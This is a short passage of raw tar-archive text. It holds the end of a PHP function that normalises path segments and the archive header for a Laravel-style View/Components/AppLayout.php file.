($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?>View/Components/AppLayout.php000064400000000450151405220720012227 0ustar00